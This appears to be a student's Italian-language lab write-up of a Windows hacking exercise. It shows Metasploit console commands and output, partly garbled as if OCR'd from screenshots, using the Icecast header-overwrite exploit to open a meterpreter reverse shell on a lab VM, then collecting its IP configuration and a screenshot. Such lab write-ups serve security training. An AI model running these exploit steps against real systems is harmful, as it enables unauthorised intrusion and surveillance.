ESERCIZIO HACKING WINDOWS

 Come primo step eseguo un controllo IP delle macchine ed avvio msfconsole:

```
F
 File Actions Edit View Help
   -(kali⊕kali)-[~]
 _$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
      link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever

2: etho: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
     link/ether 08:00:27:e6:4a:9c brd ff:ff:ff:ff:ff:ff
inet 192.168.150.11/24 brd 192.168.150.255 scope global dyna
valid_lft 6848sec preferred_lft 6848sec
inet6 fe80::4fde:846e:3f6a:2abd/64 scope link noprefixroute
                                                                  55 scope global dynamic noprefixroute eth0
          valid_lft forever preferred_lft forever
 __(kali⊕ kali)-[~]

$ msfconsole
Metasploit tip: After running db_nmap, be sure to check out the result
of hosts and services
                                                 +#++:++#+
                              Metasploit
+ -- --=[ 2440 exploits - 1253 auxiliary - 429 post
+ -- --=[ 1471 payloads - 47 encoders - 11 nops
   -- --=[ 9 evasion
Metasploit Documentation: https://docs.metasploit.com/
```

2. Come secondo step uso il comando search per trovare il modulo richiesto dalla traccia e una volta selezionata utilizzo il comando info per comprendere come si comporta l'exploit:

```
msf6 > search icecast
Matching Modules
  # Name
                                          Disclosure Date Rank Check Description
  0 exploit/windows/http/icecast_header 2004-09-28 great No
                                                                         Icecast Header Overwrite
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(
      Name: Icecast Header Overwrite
    Module: exploit/windows/http/icecast_header
  Platform: Windows
      Arch:
 Privileged: No
   License: Metasploit Framework License (BSD)
      Rank: Great
 Disclosed: 2004-09-28
 spoonm <spoonm@no$email.com>
 Luigi Auriemma <aluigi@autistici.org>
Available targets:
     Id Name
 ⇒ 0 Automatic
Check supported:
Basic options:
 Name Current Setting Required Description
                                    The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
 RPORT 8000
                          yes
                                    The target port (TCP)
Payload information:
 Space: 2000
 Avoid: 3 characters
```

3. Come terzo step ho usato il comando options per vedere la struttura dell'exploit e settato quello che mancava (ho settato RHOSTS con l IP del target) e ho lanciato l'exploit con run:

```
msf6 exploit(windows/http/icecast_header) > options
Module options (exploit/windows/http/icecast_header):
  Name
          Current Setting Required Description
                                     The target host(s), see https://docs.metasploit.com/docs/using-metasploit/ba
  RHOSTS
                           yes
                                     sics/using-metasploit.html
                                    The target port (TCP)
  RPORT 8000
                           yes
Payload options (windows/meterpreter/reverse_tcp):
            Current Setting Required Description
  Name
  EXITFUNC thread
                                      Exit technique (Accepted: '', seh, thread, process, none)
                             ves
           192.168.150.11 yes
  LHOST
                                      The listen address (an interface may be specified)
                            yes
  LPORT
            4444
                                      The listen port
Exploit target:
  Id Name
  0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(windows/http/icecast_header) > set rhosts 192.168.150.12
rhosts ⇒ 192.168.150.12
msf6 exploit(windows/http/icecast_header) > run
[*] Started reverse TCP handler on 192.168.150.11:4444
[*] Sending stage (176198 bytes) to 192.168.150.12
[*] Meterpreter session 1 opened (192.168.150.11:4444 → 192.168.150.12:49515) at 2024-09-26 04:24:09 -0400
```

4. Una volta notato che l'exploit ha avuto successo ho utilizzato meterpreter per ottenere quanto richiesto dalla traccia, ovvero IP e screenshot del target:

```
meterpreter > machine_id
[+] Machine ID: afb123275c552674b81d4d7bbf533b21
meterpreter > ipconfig
Interface 1
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
      : 4294967295
MTU
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff
Interface 4
Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:7f:da:b7
       : 1500
MTU
IPv4 Address : 192.168.150.12
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::d472:9dec:8f92:41e3
IPv6 Netmask : ffff:ffff:ffff:ffff:
Interface 5
Name : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU
           : 1280
IPv6 Address : 2001:0:2851:782c:84e:d010:af49:7543
IPv6 Netmask : ffff:ffff:ffff:ffff:
IPv6 Address : fe80::84e:d010:af49:7543
IPv6 Netmask : ffff:ffff:ffff:ffff:
Interface 6
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
            : 1280
IPv6 Address : fe80::5efe:c0a8:960c
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff
<u>meterpreter</u> > screenshot
Screenshot saved to: /home/kali/SFwmlBrV.jpeg
meterpreter >
```

